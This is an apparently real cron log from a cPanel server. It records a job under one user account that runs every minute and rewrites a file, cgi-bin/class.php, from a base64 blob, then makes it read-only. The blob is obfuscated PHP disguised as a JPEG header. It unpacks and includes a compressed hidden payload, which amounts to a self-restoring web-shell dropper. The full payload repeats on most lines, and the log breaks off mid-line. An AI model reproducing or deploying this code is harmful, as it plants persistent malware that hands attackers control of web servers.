HU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:11:01 server CROND[4544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:12:01 server CROND[4639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:12:01 server CROND[4640]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 01:13:01 server CROND[4671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:14:01 server CROND[4826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:15:01 server CROND[4889]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 01:15:01 server CROND[4890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:15:01 server CROND[4891]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 01:16:01 server CROND[4994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:17:01 server CROND[5106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:18:01 server CROND[5172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:19:01 server CROND[5326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:20:01 server CROND[5377]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 01:20:01 server CROND[5378]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 01:20:01 server CROND[5379]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 01:20:01 server CROND[5380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 01:20:01 server CROND[5381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:21:01 server CROND[5488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:22:01 server CROND[5535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:23:01 server CROND[5601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:24:01 server CROND[5649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCR